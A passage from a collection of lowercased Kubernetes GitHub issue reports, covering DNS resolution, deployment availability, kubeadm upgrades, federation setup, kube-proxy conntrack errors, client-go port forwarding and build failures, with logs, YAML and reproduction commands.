\t/go/src/github.com/codegangsta/negroni/logger.go:25 +0x1f4\r github.com/codegangsta/negroni.middleware.servehttp 0x7f3e74c76730, 0xc820022080, 0xc8200acec0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0xaa\r github.com/codegangsta/negroni. middleware .servehttp-fm 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0x53\r github.com/codegangsta/negroni.  recovery .servehttp 0xc8200acde0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40, 0xc820438760 \r \t/go/src/github.com/codegangsta/negroni/recovery.go:45 +0x75\r github.com/codegangsta/negroni.middleware.servehttp 0x7f3e74c76708, 0xc8200acde0, 0xc8200acea0, 0x7f3e74c77a90, 0xc820284940, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:33 +0xaa\r github.com/codegangsta/negroni.  negroni .servehttp 0xc820013b00, 0x7f3e74c779f8, 0xc820052340, 0xc820428c40 \r \t/go/src/github.com/codegangsta/negroni/negroni.go:73 +0x122\r net/http.serverhandler.servehttp 0xc82006c500, 0x7f3e74c779f8, 0xc820052340, 0xc820428c40 \r \t/usr/local/go/src/net/http/server.go:2081 +0x19e\r net/http.  conn .serve 0xc820434680 \r \t/usr/local/go/src/net/http/server.go:1472 +0xf2e\r created by net/http.  server .serve\r \t/usr/local/go/src/net/http/server.go:2137 +0x44e\r    \r \r i would expect to see a more sensible error.\r \r one possible reason:  when i  kubectl exec  into the redis-master pod, and  apt-get install dnsutils , i can see:\r \r    \r dig redis-slave\r \r ; <<>> dig 9.9.5-9+deb8u9-debian <<>> redis-slave\r ;; global options: +cmd\r ;; got answer:\r ;; ->>header<<- opcode: query, status: servfail, id: 35084\r ;; flags: qr rd ra; query: 1, answer: 0, authority: 0, additional: 0\r \r ;; question section:\r ;redis-slave.                   in      a\r \r ;; query time: 3 msec\r ;; server: 100.64.0.10 53 100.64.0.10 \r ;; when: tue jan 17 00:25:23 utc 2017\r ;; msg size  rcvd: 29\r \r    \r \r all the other suffixes from /etc/resolv.conf gives the expected nxdomain\r \r e.g. \r \r    \r dig redis-slave.svc.cluster.local\r \r ; <<>> dig 9.9.5-9+deb8u9-debian <<>> redis-slave.svc.cluster.local\r ;; global options: +cmd\r ;; got answer:\r ;; ->>header<<- opcode: query, status: nxdomain, id: 31169\r ;; flags: qr rd ra; query: 1, answer: 0, authority: 1, additional: 0\r    \r \r but i am wondering if, when they all fail to resolve, go \ chooses\  the servfail error?

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2445/ failed:  k8s.io  projected should project all components that make up the projection api  conformance   volume   projection  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:1023 expected error:     < errors.errorstring | 0xc4201db240>: {         s: \ expected \\\ projected-volume-e0f93aab-0610-11e7-a204-42010a800002\\\  in container output: expected\     <string>: \ to contain substring\     <string>: projected-volume-e0f93aab-0610-11e7-a204-42010a800002\ ,     }     expected \ projected-volume-e0f93aab-0610-11e7-a204-42010a800002\  in container output: expected         <string>:      to contain substring         <string>: projected-volume-e0f93aab-0610-11e7-a204-42010a800002 not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

i added minreadyseconds to my deployment progressdeadline was already present \r    \r  minreadyseconds: 7\r  progressdeadlineseconds: 600\r    \r \r  this causes the deployment to report unavailable as follows:\r    \r name       desired   current   up-to-date   available   age\r default2   2         2         2            0           2m\r    \r although all pods and rs are still running properly\r    \r name                       ready     status    restarts   age\r default2-249783978-0rds4   1/1       running   0          3m\r default2-249783978-hc15w   1/1       running   0          3m\r \r name                 desired   current   ready     age\r default2-249783978   2         2         2         3m\r    \r \r if i remove the minreadyseconds, the problem goes away and the deployment becomes unavailable. the yaml in the bad state looks like this:\r <details>\r \r    \r - apiversion: extensions/v1beta1\r   kind: deployment\r   metadata:\r     annotations:\r       author: mayank kumar\r       commitsha1: aace17d88b0a5b2a3fb549b10f4bc33e4c185c84\r       date: tue, 4 apr 2017 18:25:47 -0700\r       deployment.kubernetes.io/revision: \ 1\ \r       titleline: add minready as 7\r       tnrppipelinelabel: \ \ \r     creationtimestamp: 2017-04-05t01:31:02z\r     generation: 1\r     labels:\r       sam_app: e2e_test\r       sam_function: default2\r     name: default2\r     namespace: e2e-mayank-kumar-csc-sam\r     resourceversion: \ 33397338\ \r     selflink: /apis/extensions/v1beta1/namespaces/e2e-mayank-kumar-csc-sam/deployments/default2\r     uid: 8789767d-199f-11e7-8856-1418776a40b1\r   spec:\r     minreadyseconds: 7\r     progressdeadlineseconds: 600\r     replicas: 2\r     revisionhistorylimit: 2\r     selector:\r       matchlabels:\r         sam_app: e2e_test\r         sam_function: default2\r         samapp_bootstrap: \ false\ \r         samapp_myfunc: customerfunc\r     strategy:\r       rollingupdate:\r         maxsurge: 1\r         maxunavailable: 15%\r       type: rollingupdate\r     template:\r       metadata:\r         creationtimestamp: null\r         labels:\r           sam_app: e2e_test\r           sam_function: default2\r           samapp_bootstrap: \ false\ \r           samapp_myfunc: customerfunc\r       spec:\r         containers:\r         - command:\r           - /sam/sam-test-app\r           env:\r           - name: host_type\r             value: sam\r           image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r           imagepullpolicy: always\r           livenessprobe:\r             failurethreshold: 3\r             httpget:\r               path: /\r               port: 8000\r               scheme: http\r             periodseconds: 10\r             successthreshold: 1\r             timeoutseconds: 1\r           name: e2econtainer\r           ports:\r           - containerport: 8000\r             protocol: tcp\r           resources:\r             limits:\r               cpu: \ 1\ \r               memory: 1gi\r             requests:\r               cpu: 250m\r               memory: 250mi\r           securitycontext:\r             runasnonroot: true\r             runasuser: 7447\r           terminationmessagepath: /dev/termination-log\r         dnspolicy: default\r         nodeselector:\r           pool: prd-samdev\r         restartpolicy: always\r         securitycontext:\r           fsgroup: 7447\r           runasnonroot: true\r           runasuser: 7447\r         terminationgraceperiodseconds: 30\r   status:\r     conditions:\r     - lasttransitiontime: 2017-04-05t01:31:02z\r       lastupdatetime: 2017-04-05t01:31:02z\r       message: deployment does not have minimum availability.\r       reason: minimumreplicasunavailable\r       status: \ false\ \r       type: available\r     - lasttransitiontime: 2017-04-05t01:31:02z\r       lastupdatetime: 2017-04-05t01:31:02z\r       message: replica set \ default2-249783978\  is progressing.\r       reason: replicasetupdated\r       status: \ true\ \r       type: progressing\r     observedgeneration: 1\r     replicas: 2\r     unavailablereplicas: 2\r     updatedreplicas: 2\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r -------------\r \r - apiversion: extensions/v1beta1\r   kind: replicaset\r   metadata:\r     annotations:\r       author: mayank kumar\r       commitsha1: aace17d88b0a5b2a3fb549b10f4bc33e4c185c84\r       date: tue, 4 apr 2017 18:25:47 -0700\r       deployment.kubernetes.io/desired-replicas: \ 2\ \r       deployment.kubernetes.io/max-replicas: \ 3\ \r       deployment.kubernetes.io/revision: \ 1\ \r       titleline: add minready as 7\r     creationtimestamp: 2017-04-05t01:31:02z\r     generation: 1\r     labels:\r       pod-template-hash: \ 249783978\ \r       sam_app: e2e_test\r       sam_function: default2\r       samapp_bootstrap: \ false\ \r       samapp_myfunc: customerfunc\r     name: default2-249783978\r     namespace: e2e-mayank-kumar-csc-sam\r     resourceversion: \ 33397276\ \r     selflink: /apis/extensions/v1beta1/namespaces/e2e-mayank-kumar-csc-sam/replicasets/default2-249783978\r     uid: 878ab8da-199f-11e7-8856-1418776a40b1\r   spec:\r     minreadyseconds: 7\r     replicas: 2\r     selector:\r       matchlabels:\r         pod-template-hash: \ 249783978\ \r         sam_app: e2e_test\r         sam_function: default2\r         samapp_bootstrap: \ false\ \r         samapp_myfunc: customerfunc\r     template:\r       metadata:\r         creationtimestamp: null\r         labels:\r           pod-template-hash: \ 249783978\ \r           sam_app: e2e_test\r           sam_function: default2\r           samapp_bootstrap: \ false\ \r           samapp_myfunc: customerfunc\r       spec:\r         containers:\r         - command:\r           - /sam/sam-test-app\r           env:\r           - name: host_type\r             value: sam\r           image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r           imagepullpolicy: always\r           livenessprobe:\r             failurethreshold: 3\r             httpget:\r               path: /\r               port: 8000\r               scheme: http\r             periodseconds: 10\r             successthreshold: 1\r             timeoutseconds: 1\r           name: e2econtainer\r           ports:\r           - containerport: 8000\r             protocol: tcp\r           resources:\r             limits:\r               cpu: \ 1\ \r               memory: 1gi\r             requests:\r               cpu: 250m\r               memory: 250mi\r           securitycontext:\r             runasnonroot: true\r             runasuser: 7447\r           terminationmessagepath: /dev/termination-log\r         dnspolicy: default\r         nodeselector:\r           pool: prd-samdev\r         restartpolicy: always\r         securitycontext:\r           fsgroup: 7447\r           runasnonroot: true\r           runasuser: 7447\r         terminationgraceperiodseconds: 30\r   status:\r     fullylabeledreplicas: 2\r     observedgeneration: 1\r     readyreplicas: 2\r     replicas: 2\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r \r -------\r pods \r - apiversion: v1\r   kind: pod\r   metadata:\r     annotations:\r       kubernetes.io/created-by: |\r         {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ e2e-mayank-kumar-csc-sam\ ,\ name\ :\ default2-249783978\ ,\ uid\ :\ 878ab8da-199f-11e7-8856-1418776a40b1\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 33397228\ }}\r     creationtimestamp: 2017-04-05t01:31:02z\r     generatename: default2-249783978-\r     labels:\r       pod-template-hash: \ 249783978\ \r       sam_app: e2e_test\r       sam_function: default2\r       samapp_bootstrap: \ false\ \r       samapp_myfunc: customerfunc\r     name: default2-249783978-0rds4\r     namespace: e2e-mayank-kumar-csc-sam\r     ownerreferences:\r     - apiversion: extensions/v1beta1\r       controller: true\r       kind: replicaset\r       name: default2-249783978\r       uid: 878ab8da-199f-11e7-8856-1418776a40b1\r     resourceversion: \ 33397269\ \r     selflink: /api/v1/namespaces/e2e-mayank-kumar-csc-sam/pods/default2-249783978-0rds4\r     uid: 878c0157-199f-11e7-8856-1418776a40b1\r   spec:\r     containers:\r     - command:\r       - /sam/sam-test-app\r       env:\r       - name: host_type\r         value: sam\r       image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r       imagepullpolicy: always\r       livenessprobe:\r         failurethreshold: 3\r         httpget:\r           path: /\r           port: 8000\r           scheme: http\r         periodseconds: 10\r         successthreshold: 1\r         timeoutseconds: 1\r       name: e2econtainer\r       ports:\r       - containerport: 8000\r         protocol: tcp\r       resources:\r         limits:\r           cpu: \ 1\ \r           memory: 1gi\r         requests:\r           cpu: 250m\r           memory: 250mi\r       securitycontext:\r         runasnonroot: true\r         runasuser: 7447\r       terminationmessagepath: /dev/termination-log\r     dnspolicy: default\r     nodename: shared0-samdevcompute2-1-prd.eng.sfdc.net\r     nodeselector:\r       pool: prd-samdev\r     restartpolicy: always\r     securitycontext:\r       fsgroup: 7447\r       runasnonroot: true\r       runasuser: 7447\r     terminationgraceperiodseconds: 30\r   status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: initialized\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: ready\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: podscheduled\r     containerstatuses:\r     - containerid: docker://ca88adb824565e7345db2e867aca6c698488119d8dccf72cb06b5231a12cd944\r       image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r       imageid: docker-pullable://somehost:5000/sam-tools@sha256:2a49babb9870b587407c7c8b586f43d2edd5a24e06c167c50579a71cfa68ea58\r       laststate: {}\r       name: e2econtainer\r       ready: true\r       restartcount: 0\r       state:\r         running:\r           startedat: 2017-04-05t01:31:02z\r     hostip: 10.253.233.10\r     phase: running\r     podip: 10.255.68.15\r     starttime: 2017-04-05t01:31:02z\r - apiversion: v1\r   kind: pod\r   metadata:\r     annotations:\r       kubernetes.io/created-by: |\r         {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ e2e-mayank-kumar-csc-sam\ ,\ name\ :\ default2-249783978\ ,\ uid\ :\ 878ab8da-199f-11e7-8856-1418776a40b1\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 33397228\ }}\r     creationtimestamp: 2017-04-05t01:31:02z\r     generatename: default2-249783978-\r     labels:\r       pod-template-hash: \ 249783978\ \r       sam_app: e2e_test\r       sam_function: default2\r       samapp_bootstrap: \ false\ \r       samapp_myfunc: customerfunc\r     name: default2-249783978-hc15w\r     namespace: e2e-mayank-kumar-csc-sam\r     ownerreferences:\r     - apiversion: extensions/v1beta1\r       controller: true\r       kind: replicaset\r       name: default2-249783978\r       uid: 878ab8da-199f-11e7-8856-1418776a40b1\r     resourceversion: \ 33397275\ \r     selflink: /api/v1/namespaces/e2e-mayank-kumar-csc-sam/pods/default2-249783978-hc15w\r     uid: 878c0465-199f-11e7-8856-1418776a40b1\r   spec:\r     containers:\r     - command:\r       - /sam/sam-test-app\r       env:\r       - name: host_type\r         value: sam\r       image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r       imagepullpolicy: always\r       livenessprobe:\r         failurethreshold: 3\r         httpget:\r           path: /\r           port: 8000\r           scheme: http\r         periodseconds: 10\r         successthreshold: 1\r         timeoutseconds: 1\r       name: e2econtainer\r       ports:\r       - containerport: 8000\r         protocol: tcp\r       resources:\r         limits:\r           cpu: \ 1\ \r           memory: 1gi\r         requests:\r           cpu: 250m\r           memory: 250mi\r       securitycontext:\r         runasnonroot: true\r         runasuser: 7447\r       terminationmessagepath: /dev/termination-log\r     dnspolicy: default\r     nodename: shared0-samdevkubeapi1-1-prd.eng.sfdc.net\r     nodeselector:\r       pool: prd-samdev\r     restartpolicy: always\r     securitycontext:\r       fsgroup: 7447\r       runasnonroot: true\r       runasuser: 7447\r     terminationgraceperiodseconds: 30\r   status:\r     conditions:\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: initialized\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: ready\r     - lastprobetime: null\r       lasttransitiontime: 2017-04-05t01:31:02z\r       status: \ true\ \r       type: podscheduled\r     containerstatuses:\r     - containerid: docker://ace410f61d46b672d65fe0e5e59bbf2f7672447d7b3c19562d0835bdf525412c\r       image: somehost:5000/sam-tools:20170110_232241.2cd83ea.clean.mayankkuma-ltm3\r       imageid: docker-pullable://somehost:5000/sam-tools@sha256:2a49babb9870b587407c7c8b586f43d2edd5a24e06c167c50579a71cfa68ea58\r       laststate: {}\r       name: e2econtainer\r       ready: true\r       restartcount: 0\r       state:\r         running:\r           startedat: 2017-04-05t01:31:02z\r     hostip: 10.253.233.26\r     phase: running\r     podip: 10.255.78.4\r     starttime: 2017-04-05t01:31:02z\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r    \r </details>

as discussed https://github.com/kubernetes/kubernetes/pull/45286 this flag should be deprecated since its usage is rare and causes conflicting problems with attach/detach controller adc  where adc can detach a mounted volume.\r \r cc @kubernetes/sig-storage-bugs

recently there was a great refactoring that separates gce elb and ilb codes  https://github.com/kubernetes/kubernetes/pull/46663 . it constructed gce cloud provider package in a much better way, but meanwhile some inconsistencies need to be cleaned up. for instance, we should pipe in clusterid in  some places  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce_loadbalancer.go l134-l139 :\r    \r ...\r \t\t\tswitch existingscheme {\r \t\t\tcase schemeinternal:\r \t\t\t\terr = gce.ensureinternalloadbalancerdeleted clustername, clusterid, svc \r \t\t\tdefault:\r \t\t\t\terr = gce.ensureexternalloadbalancerdeleted clustername, svc \r \t\t\t}\r ...\r    \r \r /assign\r /area platform/gce\r 

is this a bug report or feature request?  : bug\r \r > uncomment only one, leave it on its own line: \r  \r   what happened  :\r - install kubernetes 1.7.x  e.g. 1.7.3  cluster using kubeadm 1.7.x\r - install kubeadm 1.8.0\r - try \ kubeadm upgrade apply v1.7.7\ \r \r you will get errors like below:\r    \r ....\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  addons  applied essential addon: kube-dns\r  addons  applied essential addon: kube-proxy\r  upgrade/postupgrade  fatal post-upgrade error:  unable to update rbac clusterrolebinding: clusterrolebinding.rbac.authorization.k8s.io \ kubeadm:node-autoapprove-bootstrap\  is invalid: roleref: invalid value: rbac.roleref{apigroup:\ rbac.authorization.k8s.io\ , kind:\ clusterrole\ , name:\ system:certificates.k8s.io:certificatesigningrequests:nodeclient\ }: cannot change roleref, unable to update rbac rolebinding: rolebinding.rbac.authorization.k8s.io \ kubeadm:bootstrap-signer-clusterinfo\  is invalid: roleref: invalid value: rbac.roleref{apigroup:\ rbac.authorization.k8s.io\ , kind:\ role\ , name:\ kubeadm:bootstrap-signer-clusterinfo\ }: cannot change roleref \r    \r \r   what you expected to happen  :\r upgrade should succeed without errors\r \r   how to reproduce it  as minimally and precisely as possible   :\r - install kubeadm 1.7.5\r -  kubeadm init --kubernetes-version v1.7.3 \r - install kubeadm 1.8.0\r -  kubeadm upgrade apply v1.7.7 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubelet has been changed to get the container stats from cri for the new container runtimes, like containerd and cri-o. however, this does not include the stats of the container logs.\r \r https://github.com/kubernetes/kubernetes/blob/2d1626028ed0d091008e65d7e379470a098942ff/pkg/kubelet/stats/cri_stats_provider.go l235-l236\r \r since the kubelet passes the container log name to cri. we can get the stats of the container logs in kubelet.\r \r /assign\r /cc @random-liu @yujuhong \r 

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r error trying to setup kubernetes federation:\r \r   creating a namespace federation-system for federation system components...error from server  forbidden : namespaces is forbidden: user \ client\  cannot create namespaces at the cluster scope: unknown user \ client\ .  \r \r   what you expected to happen  :\r no error\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r   set the project and domain name\r export project=abc-9102-1sf\r export dns_zone=echo.examplefed.com.\r \r   create the clusters\r gcloud container clusters create west-cluster --zone us-west1-c --scopes \ cloud-platform,storage-ro,logging-write,monitoring-write,service-control,service-management,https://www.googleapis.com/auth/ndev.clouddns.readwrite\  --preemptible &\r gcloud container clusters create east-cluster --zone us-east1-b --scopes \ cloud-platform,storage-ro,logging-write,monitoring-write,service-control,service-management,https://www.googleapis.com/auth/ndev.clouddns.readwrite\  --preemptible &\r \r   workaround for rbac error\r   https://github.com/kubernetes/kubernetes/issues/42559\r gcloud config set container/use_client_certificate true\r export cloudsdk_container_use_client_certificate=true\r \r   get credentials\r gcloud container clusters get-credentials west-cluster --zone=us-west1-c\r gcloud container clusters get-credentials east-cluster --zone=us-east1-b\r \r   aliases\r kubectl config set-context east --cluster=gke_${project}_us-east1-b_east-cluster --user=gke_${project}_us-east1-b_east-cluster\r kubectl config set-context west --cluster=gke_${project}_us-west1-c_west-cluster --user=gke_${project}_us-west1-c_west-cluster\r \r   initiate federation. after this step i get the error.\r kubefed init kfed  --host-cluster-context=east  --dns-zone-name=${dns_zone}  --dns-provider=google-clouddns\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : debian\r \r @kubernetes/sig-multicluster-bugs

is this a bug report or feature request?  :\r \r    \r arm64 ubuntu \r   what happened  :\r e0523 18:32:14.075223       1 proxier.go:792  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed \r \r failed to delete stale service ip 10.96.0.10 connections, error: error deleting connection tracking state for udp service ip: 10.96.0.10, error: error looking for path of conntrack: exec: \ conntrack\ : executable file not found in $path\r \r ! image  https://user-images.githubusercontent.com/37833630/40421411-6a927914-5ebe-11e8-8b02-61f8027a02a1.png \r ! image  https://user-images.githubusercontent.com/37833630/40421463-9f3003f8-5ebe-11e8-9eb3-906b25bfed33.png \r ! image  https://user-images.githubusercontent.com/37833630/40421505-bbb3d3d8-5ebe-11e8-8bf9-4085aceab8b8.png \r \r i had install conntrack apt-get install conntrack ,but kube-proxy still  failed ...conntrack... \r \r   environment  :\r ! image  https://user-images.githubusercontent.com/37833630/40421351-366d43d0-5ebe-11e8-9d2a-5cb8735096e1.png \r ! image  https://user-images.githubusercontent.com/37833630/40421779-95980ab0-5ebf-11e8-9fab-753c196c06d4.png \r \r ! image  https://user-images.githubusercontent.com/37833630/40421324-1c59e21e-5ebe-11e8-90bd-2e018a41bde1.png \r \r \r how can i fix it

now it's possible to configure third-party auth providers using  kubectl config set-credentials  command with  --auth-provider  option.\r \r it's nice to have the same possibility for the recently added  exec   plugin  https://kubernetes.io/docs/reference/access-authn-authz/authentication/ client-go-credential-plugins . \r example: to specify the executable path we can run  kubectl config set-credentials k8s_user --exec-command=\ /path/to/the/executable\  \r \r this will generate a new config for the user:\r \r    \r apiversion: v1\r kind: config\r users:\r - name: k8s_user\r   user:\r     exec:\r       command: \ /path/to/the/executable\ \r       apiversion: \ client.authentication.k8s.io/v1alpha1\ \r    \r \r various auxiliary configuration options are also could be added. for instance: \r -  --exec-arg  to define an argument for the executable;\r -  --exec-env  to set an environment variable;\r -  --exec-api-version  to specify a desired api version.\r \r 

 \r hey guys,\r \r i came across the new code on master to return the list of forwarded ports  see here: https://github.com/kubernetes/client-go/blob/master/tools/portforward/portforward.go l349 .\r \r after doing some testing, i discovered that this function does not return the correct port if the local port is specified as '0' or left unspecified.\r \r this seems to be because the port reference passed in to portforwarder.listenonport is a copy of the forwardedport struct, and not the actual forwardedport owned by the portforwarder  see here: https://github.com/kubernetes/client-go/blob/master/tools/portforward/portforward.go l155 .\r \r environment:\r - kubernetes version  use  kubectl version  : git master\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : client-go running on darwin\r - kernel  e.g.  uname -a  : darwin aarora-w10vm.internal.synopsys.com 17.7.0 darwin kernel version 17.7.0: thu jun 21 22:53:14 pdt 2018; root:xnu-4570.71.2~1/release_x86_64 x86_64\r - install tools: n/a\r - others: n/a\r

we currently logrotate every hour. this has caused some issues on occasion, because we allow local ssd with high throughput and the hourly logrotate daemon takes too long to zip up logs competing with the containers that are slamming logs out to disk. this results in the nodes disk filling up to a point where logrotate itself can't work because there's no disk left.   we can just invoke logrotate every 10m and ask it to no-op if container logs are < 10m.  https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/logrotate/init.sls l28

support for setting  no_new_privs  https://www.kernel.org/doc/documentation/prctl/no_new_privs.txt  was added in docker 1.11  https://github.com/docker/docker/issues/20329 . this feature will be much more useful once user namespace support is added  https://github.com/kubernetes/kubernetes/pull/34569 , but i believe it is also relevant when paired with seccomp or lsm  selinux or apparmor .\r \r /cc @mrunalp @kubernetes/sig-node

although we  moved cri from  v1alpha1  to  v1alpha1/runtime   https://github.com/kubernetes/kubernetes/commit/9cc2ecc347908faf0a79104f645241da24d97558 , we didn't change the package name. when using the package, i have to make an alias, or else i have to use  v1alpha1.xxxx  instead.\r \r @feiskyer another question is that is grpc using the directory name or package name? if the latter, does the original pr really fix the issue?\r \r /cc @yujuhong

 \r verify-bazel is currently failing with the following stacktrace:\r    \r $ hack/verify-bazel.sh \r ../../internal/config/directives.go:24:2: cannot find package \ github.com/bazelbuild/buildtools/build\  in any of:\r         /tmp/tmp.rkacdj87fr/go/src/github.com/bazelbuild/bazel-gazelle/vendor/github.com/bazelbuild/buildtools/build  vendor tree \r          path /.gvm/gos/go1.9.4/src/github.com/bazelbuild/buildtools/build  from $goroot \r         /tmp/tmp.rkacdj87fr/go/src/github.com/bazelbuild/buildtools/build  from $gopath \r ../../internal/rules/construct.go:27:2: cannot find package \ github.com/bazelbuild/buildtools/tables\  in any of:\r         /tmp/tmp.rkacdj87fr/go/src/github.com/bazelbuild/bazel-gazelle/vendor/github.com/bazelbuild/buildtools/tables  vendor tree \r          path /.gvm/gos/go1.9.4/src/github.com/bazelbuild/buildtools/tables  from $goroot \r         /tmp/tmp.rkacdj87fr/go/src/github.com/bazelbuild/buildtools/tables  from $gopath \r !!!  0302 11:47:54  call tree:\r !!!  0302 11:47:54   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:483\r   error in /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:483. '  i<3-1  ' exited with status 1\r call stack:\r   1: /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:483 kube::util::go_install_from_commit ... \r   2: ./hack/update-bazel.sh:34 main ... \r exiting with status 1\r !!!  0302 11:47:54  call tree:\r !!!  0302 11:47:54   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r !!! error in /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:473\r   error in /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:473. '  i<3-1  ' exited with status 1\r call stack:\r   1: /tmp/verify-bazel.5whzrb/go/src/k8s.io/kubernetes/hack/lib/util.sh:473 kube::util::go_install_from_commit ... \r   2: ./hack/update-bazel.sh:34 main ... \r exiting with status 1\r !!! error in hack/verify-bazel.sh:43\r   error in hack/verify-bazel.sh:43. 'gopath=\ ${_tmp_gopath}\  ./hack/update-bazel.sh' exited with status 1\r call stack:\r   1: hack/verify-bazel.sh:43 main ... \r exiting with status 1\r    \r \r ironically, this is caused by a fix upstream which would probably prevent  60442 from occurring again - gazelle vendored  github.com/bazelbuild/buildtools  in https://github.com/bazelbuild/bazel-gazelle/pull/145, which means that when we hackily download gazelle's dependencies with  go get -d , we no longer also download the  github.com/bazelbuild/buildtools  package.\r \r we then checkout an older version of gazelle, which hasn't vendored  github.com/bazelbuild/buildtools , and so the dependency is missing, and we fail to build.\r \r for the master branch, we can probably just bump to latest gazelle. the older release branches will probably require more hacks.\r \r happy friday!\r /assign

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r when there are no enough resourse in my cluster,i need to add some new nodes in it  not many .then all schedule come to new nodes.soon the new nodes cannot hold the pressure and docker on this nodes become very slow.this make this nodes cannot work at that time.\r \r   what you expected to happen  :\r \r why kube-scheduler do not have a algorithums to avoid it?it seems users have to develop themselves\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r add a few nodes to a  rapidly growing cluster.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we don't set memory limit for the elastic search cluster addon pods. they seem to be consume quite a lot of memory by looking at a cluster i just created.  1. is the high memory usage normal/expected? 2. can we set a reasonable memory limit for these addon pods?  /cc @satnam6502, @kubernetes/goog-node

the kubelet will generate its own self-signed tls certificates if none exist, and it uses the public ip of the server as the identifier.  apiserver, however, will attempt connections using hostnames where possible. this can cause a mismatch, such as when using  kubectl exec , where an error will be thrown in the form of:      nov 12 19:49:42 master kube-apiserver 985 : e1112 19:49:42.117202     985 errors.go:62  apiserver received an error that is not an api.status: x509: certificate is valid for 10.1.24.65@1446839265, not ip-10-1-24-65.us-west-1.compute.internal      the kubelet should probably attempt to determine its hostname via reverse lookup to generate its cert, or the two should know to do identity checks via ip address, so that this doesn't happen.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-slow/9522/  failed:  k8s.io  networking  k8s.io  granular checks: services  slow  should function for endpoint-service: udp {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:176 oct  4 16:23:01.116: failed to find expected endpoints: tries 0 command curl -q -s 'http://10.180.2.22:8080/dial?request=hostname&protocol=udp&host=10.183.246.95&port=90&tries=1' retrieved map   expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking_utils.go:185

currently the finalizers do multiple updates to the objects. there should be just 1 update in a reconciliation loop.

